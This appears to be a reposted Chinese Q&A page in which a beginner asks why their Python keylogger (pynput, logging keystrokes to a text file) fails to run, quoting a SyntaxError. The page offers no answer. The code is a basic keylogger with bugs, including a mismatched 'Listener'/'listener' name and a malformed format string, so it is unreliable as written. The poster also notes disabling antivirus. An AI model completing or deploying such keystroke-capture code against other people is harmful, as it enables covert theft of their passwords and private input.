我的 python 键盘记录器没有加载 SyntaxError

问题描述

我第一次尝试制作键盘记录器,但是当我尝试运行 .pyw 文件时遇到问题,它没有显示在我的任务管理器中,也没有记录我的击键,我已经关闭了防病毒软件,一切都不起作用。我是 python 的新手,我把它放在 IDLE Shell 中,它说“语法错误:编译单个语句时发现多个语句”。有人可以帮我解决这个问题吗,是的,我已经安装了 pynput。

Error: "SyntaxError: multiple statements found while compiling a single statement"

Python 版本:3.9.1

代码

from pynput.keyboard import Key,Listener 
import logging

log_dir = " "

logging.basicConfig(filename=(log_dir + "key_log.txt"),level=logging.DEBUG,format='% (asctime)s: %(message)s')

def on_press(key):
    logging.info(key)

with Listener(on_press=on_press) as Listener:
    listener.join()

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)